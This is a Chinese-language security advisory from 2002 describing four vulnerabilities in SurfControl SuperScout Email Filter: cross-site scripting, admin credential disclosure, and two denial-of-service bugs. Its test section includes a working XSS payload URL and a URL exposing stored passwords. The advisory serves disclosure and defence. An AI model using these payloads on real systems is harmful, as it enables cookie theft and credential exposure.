xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

SurfControl's SuperScout Email Filter管理服务程序存在4个漏洞


发布时间:2002-10-15
更新时间:2002-10-15
严重程度:
威胁程度:其它
错误类型:设计错误
利用方式:服务器模式

受影响系统
SurfControl SuperScout Email Filter 3.5
SurfControl SuperScout Email Filter 3.5.1
   - Microsoft Windows 2000 Advanced Server SP1
   - Microsoft Windows 2000 Advanced Server SP2
   - Microsoft Windows 2000 Server SP1
   - Microsoft Windows 2000 Server SP2
   - Microsoft Windows NT 4.0 SP6a
SurfControl SuperScout Email Filter for SMTP 4.0
详细描述
SurfControl存在以上4个漏洞:

1)SurfControl存在跨站脚本可执行攻击:

SurfControl产品没有过滤用户输入,管理服务程序中包含msgError.asp的脚本对Reason参数的数据缺少过滤,攻击者提供恶意HTML代码,并使其他用户查看时,导致脚本在目标用户上执行,泄露敏感信息如COOKIE。

2)存在用户名密码泄露问题:

管理服务程序的userlist.asp脚本存在问题,远程攻击者通过直接访问这个脚本,并查看源代码就可以获得管理员用户名和密码信息。

3)Content_length参数缺少可导致拒绝服务。

攻击者如果提交不包含Content_length参数内容的HTTP请求,可导致服务程序崩溃,产生拒绝服务。

4)不完整GET请求可导致拒绝服务。

如果攻击者提交的GET请求如果不包含(\r\n\r\n)结尾,服务程序会一直等待这些结束符。多种这样的连接,可导致WEB服务程序产生拒绝服务。

测试代码
1)http://<IPAddress>/web/msgError.asp?Redirect=login.htm&Reason=Invalid+username+or+password!
XSS Example:
http://<IPAddress>/web/msgError.asp?Redirect=loginhtm&Reason=<script>alert(document.cookie);</script>


2)http://<IP Address>/web/usermgr/userlist.asp

Sample HTML output:

<tr BGCOLOR=#EEEEEE><td><a
href='actions/edituser.asp?User=ken&Password=ken&Enabled=Enabled&Email=ken@ftusecurity.com'
title='Edit user' onMouseOver="window.status='Edit ken';return true;" onMouseOut="window.status='
';return true;">ken</a></td><td><b>Enabled</b></td></tr><tr BGCOLOR=#DDDDDD><td><a
href='actions/edituser.asp?User=test&Password=test&Enabled=Enabled&Email=ken@ftusecurity.com'
title='Edit user' onMouseOver="window.status='Edit test';return true;" onMouseOut="window.status='
';return true;">test</a></td><td><b>Enabled</b></td></tr>

解决方案
联系供应商获得补丁。

相关信息
"'ken'@FTU" <ken@ftusecurity.com>.
参考:http://online.securityfocus.com/archive/1/294571
相关主页:http://www.surfcontrol.com/